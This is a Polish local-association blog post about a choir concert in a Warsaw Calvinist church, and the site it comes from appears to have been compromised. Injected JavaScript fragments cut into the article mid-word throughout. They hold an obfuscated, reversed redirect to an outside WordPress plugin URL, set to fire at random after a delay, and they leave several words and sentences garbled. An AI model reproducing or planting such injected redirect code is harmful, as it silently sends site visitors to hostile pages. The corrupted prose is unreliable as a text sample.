Działo się przy ulicy Jana Pawła II w Warszawie pod charakterystyczną ażurową wieżą kościoła kalwińskiego, w ostatni dzień stycznia. W wieczornej scenerii odbył się koncert chóru „Motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Maiorum”, czyli „Na Sposób Przodków”. Akustyka kościelnego wnętrza podkreślała bogate brzmienie zespołu, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominował głęboki bas emitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany przez tajemniczego chórmistrza w zielonym krawacie. Chór wystąpił najpierw „na chórze” z organami w tle, a następnie w prezbiterium, przy ołtarzu.
W malowniczej, skąpo oświetlonej nawie zabrzmiały na początek poważne, refleksyjne pieśni na chwałę Chrystusa, jak na świątynię przystało. W drugiej części występu znalazł się jednak i lżejszy repertuar, być może ze względu na trwający karnawał. Usłyszeliśmy między innymi pieśni o kozaku galopującym przez step, o szkodliwości śpiewu przy pustych kielichach, a także o okrutnym rozbójniku nawróconym na drogę cnoty. Zwłaszcza w tym ostatnim utworze mogliśmy rozkoszować się wspaniałym basem kierownika chóru.
Basem tym zachwycił nas Maestro Michał Straszewski, oklaskiwany przez oczarowaną publiczność, wśród której nie zabrakło jego Koleżanek i Kolegów ze Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszenia Nasze Łomianki, z Prezesem na czele. Życie Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszenia zawsze było wypełnione twórczością Członków i Przyjaciół NŁ. Talenty, umiejętności, wiedza… Sztuka, kultura, lokalna histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toria… Spotkania, wystawy, projekcje, koncerty… Taka jest tradycja Naszych Łomianek już od 15 lat.
Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tografiom ze skromnie oświetlonego wnętrza daleko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ideału, oddają jednak niezwykły nastrój koncertu.
Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to: Tomasz Sienicki
Bądź pierwszą osobą, która zostawi swój komentarz